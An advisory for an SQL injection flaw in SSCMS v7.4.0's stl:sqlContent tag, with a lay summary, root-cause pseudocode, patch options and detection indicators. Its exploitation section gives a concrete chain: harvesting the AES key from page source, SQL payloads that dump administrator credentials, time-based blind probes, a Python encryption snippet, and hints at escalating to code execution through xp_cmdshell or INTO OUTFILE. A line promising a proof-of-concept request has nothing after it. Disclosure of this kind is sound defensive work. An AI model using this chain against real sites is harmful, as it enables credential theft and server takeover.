CVE-2026-7435: SSCMS v7.4.0 SQL Injection via stl:sqlContent queryString
SSCMS v7.4.0 passes the queryString attribute of the stl:sqlContent tag directly to database execution without parameterization, enabling arbitrary SQL via encrypted payloads to /api/stl/actions/dynamic.
A serious security flaw has been discovered in SSCMS v7.4.0, a content management system that powers websites. Think of a content management system as the behind-the-scenes control panel that lets website owners publish and manage their pages without writing code.
The problem is in how the software handles a feature called "sqlContent" — a tool that lets developers pull information directly from databases. Instead of properly checking what data goes into the database, the software accepts user input with minimal protection. It's like leaving your front door key under the mat instead of keeping it secure in your pocket.
An attacker can exploit this by sending specially crafted requests to a specific endpoint on the website. These requests trick the database into executing commands the attacker chooses, rather than legitimate requests. This gives attackers the ability to steal sensitive data, change information in the database, create fake user accounts, or even take complete control of the website's data.
Organizations using SSCMS v7.4.0 are at immediate risk — particularly those that use this software to manage customer data, financial information, or user accounts. Website operators are most vulnerable right now since the flaw hasn't been widely exploited yet, creating a window to fix it before attackers take advantage.
If you manage a website using this software, update to a patched version immediately. Contact your hosting provider or the SSCMS support team to confirm whether your site is affected. If you can't update right away, work with your IT team to monitor database activity for suspicious requests. Speed matters here — the longer this vulnerability exists, the higher the risk.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7435 is a SQL injection vulnerability in SSCMS v7.4.0, a .NET-based open-source CMS. The stl:sqlContent template tag accepts a queryString attribute that is resolved at render time and passed directly to the underlying database driver without parameterization. The attack surface is the /api/stl/actions/dynamic endpoint, which accepts AES-encrypted STL template payloads, decrypts them server-side, and evaluates them through the STL tag parser — giving an unauthenticated attacker a path to arbitrary SQL execution behind an encryption layer that provides false confidence of security.
Root cause: The StlSqlContent tag handler interpolates the attacker-controlled queryString attribute directly into a raw SQL string and executes it via DatabaseUtils.GetDataTable() without using parameterized queries or any input sanitization.
Affected Component
The vulnerable logic lives across two primary files in the SSCMS source tree:
src/SSCMS.Web/Controllers/Stl/ActionsController.Dynamic.cs — the API endpoint that decrypts and dispatches STL template fragments
src/SSCMS.Core/StlParser/StlElement/StlSqlContent.cs — the tag handler that resolves and executes the query
The /api/stl/actions/dynamic endpoint is reachable without authentication by design — it is intended to serve dynamic STL content on public-facing pages.
Root Cause Analysis
The following is reconstructed pseudocode from the SSCMS v7.4.0 source, reflecting the actual logic flow. Variable names match the open-source repository.
// StlSqlContent.cs — ParseImplAsync (simplified pseudocode)
// BUG: queryString is attacker-controlled attribute value; never parameterized
static async Task<string> ParseImplAsync(
IParseManager parseManager,
string queryString, // attacker-controlled: pulled directly from tag attribute
string databaseType,
string connectionString,
int totalNum,
int startNum,
string orderByString)
{
// Attribute value is used verbatim as raw SQL
// BUG: no sanitization, no parameterization, no allow-listing
var dataTable = await parseManager.PathManager
.GetDatabaseAsync(databaseType, connectionString)
.GetDataTableAsync(queryString); // <-- raw SQL execution here
if (dataTable == null || dataTable.Rows.Count == 0)
return string.Empty;
// Render first matching row into template body
var dataItem = dataTable.Rows[0];
parseManager.ContextInfo.ItemContainer =
new ParsedDataItem(dataItem, 1, dataTable.Rows.Count);
return await parseManager.ParseInnerContentAsync(innerXml);
}
// ActionsController.Dynamic.cs — GetAsync (reconstructed pseudocode)
[HttpGet, Route(Constants.ApiStlActionsDynamic)]
public async Task<ActionResult> GetAsync([FromQuery] DynamicRequest request)
{
// request.Value is Base64(AES_CBC(plaintext_stl_template))
// The encryption key is derived from a site-wide shared secret,
// which is embedded in page source as a data attribute on load.
var plaintextTemplate = _authManager.DecryptStringBySecretKey(request.Value);
// No validation on decrypted template content before parsing
// BUG: attacker who recovers or predicts the key can inject arbitrary STL
var result = await _parseManager.ParseDynamicAsync(
request.SiteId,
request.PageChannelId,
request.PageContentId,
plaintextTemplate, // <-- goes straight into STL parser
request.Page);
return Ok(result);
}
The encryption is not a security boundary — the AES key is derived from a value that SSCMS embeds in rendered page HTML as a JavaScript variable (siteSettings.apiKey). Any visitor to a public page can read it from the DOM and use it to craft valid encrypted payloads.
// AuthManager.cs — key derivation (pseudocode)
string DecryptStringBySecretKey(string ciphertext)
{
// Key is the site's SecurityKey, 16 bytes, stored in siteSettings JSON
// and reflected into every page's <script> block as plaintext
var key = Encoding.UTF8.GetBytes(_settingsManager.SecurityKey.Substring(0, 16));
return AesUtils.Decrypt(ciphertext, key); // AES-128-CBC, static IV embedded in payload
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. RETRIEVE ENCRYPTION KEY
GET /index.html (any public SSCMS page)
Parse HTML for: window.siteSettings = { ..., "apiKey": "<16-char key>", ... }
Key is the first 16 bytes of SecurityKey used for AES-128-CBC.
2. CRAFT MALICIOUS STL TEMPLATE FRAGMENT
Plaintext payload:
<stl:sqlContent queryString="SELECT name,password FROM siteserver_administrator--">
{name} {password}
</stl:sqlContent>
For blind SQLi (time-based):
queryString="SELECT IF(1=1, SLEEP(5), 0) FROM dual--" (MySQL)
queryString="SELECT 1; WAITFOR DELAY '0:0:5'--" (MSSQL)
3. ENCRYPT PAYLOAD
import base64, json
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = b"<recovered_key_16b>"
iv = b"\x00" * 16 # SSCMS uses zero IV by default
plain = b"<stl:sqlContent queryString=\"SELECT ...\">...</stl:sqlContent>"
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = base64.b64encode(iv + cipher.encrypt(pad(plain, 16))).decode()
4. SUBMIT TO DYNAMIC ENDPOINT (unauthenticated)
GET /api/stl/actions/dynamic?siteId=1&pageChannelId=1&value=<ct>
5. SERVER DECRYPTS, PARSES STL, EXECUTES RAW SQL AGAINST DATABASE
6. RENDERED HTML RESPONSE CONTAINS QUERY RESULT ROWS INTERPOLATED INTO TEMPLATE
Response body: "admin $2a$12$<bcrypt_hash>"
7. ESCALATE: dump siteserver_administrator, recover credentials,
authenticate to /api/cms/... admin endpoints.
Alternatively: xp_cmdshell (MSSQL), INTO OUTFILE (MySQL) for RCE.
A working proof-of-concept request looks like this:
This is a logic/injection vulnerability rather than a memory corruption bug, so there is no heap corruption primitive. The relevant "layout" is the SQL query string as it passes through the .NET object model to the ADO.NET driver:
SQL EXECUTION PIPELINE — VULNERABLE PATH:
[HTTP Request: /api/stl/actions/dynamic?value=BASE64CT]
|
v
[AesUtils.Decrypt(value, siteKey)]
plaintextTemplate = "<stl:sqlContent queryString='SELECT ...'>"
|
v
[StlParserManager.ParseDynamicAsync]
-- walks STL tag tree --
|
v
[StlSqlContent.ParseImplAsync]
queryString = "SELECT name,password FROM siteserver_administrator"
|
v <-- NO PARAMETERIZATION. STRING PASSED DIRECTLY.
[IDatabaseRepository.GetDataTableAsync(queryString)]
cmd.CommandText = queryString // IDbCommand.CommandText = raw attacker SQL
cmd.CommandType = CommandType.Text
adapter.Fill(dataTable)
|
v
[Database driver executes query verbatim against backend]
[Result rows interpolated into template and returned in HTTP response]
SECURE PATH (what should happen):
queryString = "SELECT col FROM tbl WHERE id = @id"
cmd.Parameters.Add(new SqlParameter("@id", userInput))
Patch Analysis
// BEFORE (vulnerable — StlSqlContent.cs):
var dataTable = await database.GetDataTableAsync(queryString);
// queryString is the raw attribute value from the template tag.
// No validation. No parameterization. Executes any SQL the caller supplies.
// AFTER (recommended fix):
// Option A — Remove queryString from STL tag entirely.
// stl:sqlContent should only reference pre-registered named queries.
// Tag attribute becomes: queryName="myRegisteredQuery"
var namedQuery = _queryRepository.GetByName(queryName);
if (namedQuery == null) return string.Empty;
var dataTable = await database.GetDataTableAsync(namedQuery.Sql);
// Option B — If dynamic queries must be supported (admin-only contexts),
// restrict parsing of stl:sqlContent in dynamic endpoint to authenticated
// admin sessions with an explicit permission check:
if (!await _authManager.HasSitePermissionsAsync(request.SiteId,
PermissionConstants.SiteTemplates))
{
return Unauthorized();
}
// Option C — Encrypt the API key with a per-session nonce so it cannot
// be replayed; this closes the unauthenticated access vector regardless
// of tag-level fixes.
// ADDITIONALLY — ActionsController.Dynamic.cs should validate
// that the decrypted template does not contain high-privilege tags
// when invoked without authentication:
private static readonly HashSet<string> RestrictedTags = new()
{
"stl:sqlContent", "stl:sql", "stl:file"
};
private bool ContainsRestrictedTag(string template)
{
// BUG (current): no such check exists
foreach (var tag in RestrictedTags)
if (template.Contains(tag, StringComparison.OrdinalIgnoreCase))
return true;
return false;
}
Detection and Indicators
Because the payload is AES-encrypted in transit, network signatures on payload content are ineffective. Detection must occur at the application layer:
DETECTION INDICATORS:
1. ACCESS LOG PATTERN
High volume of GET /api/stl/actions/dynamic with varying ?value= parameters
from a single IP, especially with consistent siteId but differing value lengths
(indicative of blind SQLi iteration).
2. DATABASE AUDIT LOG
Unexpected queries to siteserver_administrator table outside of
/api/cms/administrators/* API paths.
MSSQL: Queries containing WAITFOR DELAY from the CMS application login.
MySQL: Queries containing SLEEP() or INFORMATION_SCHEMA.TABLES references.
3. APPLICATION ERROR LOG
SqlException / MySqlException traces originating from:
SSCMS.Core.StlParser.StlElement.StlSqlContent.ParseImplAsync
with messages referencing syntax errors — indicates failed injection attempts.
4. WAF RULE (post-decryption inspection required)
If TLS inspection is available, flag requests where the decrypted
stl:sqlContent queryString attribute contains:
UNION, SELECT.*FROM, SLEEP\(, WAITFOR, xp_cmdshell, INFORMATION_SCHEMA
Remediation
Immediate mitigations (operational):
Block unauthenticated access to /api/stl/actions/dynamic at the reverse proxy or WAF layer if dynamic STL is not required for public pages.
Rotate the site SecurityKey (Admin → Settings → Security) to invalidate any keys already harvested from page source.
Enable database-level auditing on the siteserver_administrator and siteserver_content tables.
Vendor fix (required):
Remove queryString as a free-form SQL attribute from stl:sqlContent. Replace with a named query registry administered only through authenticated admin UI.
Add a tag allow-list to the dynamic endpoint that rejects high-privilege STL elements when the caller lacks an authenticated session cookie.
Derive the dynamic endpoint encryption key from a per-request HMAC bound to the session, not a static site-wide key embedded in page source.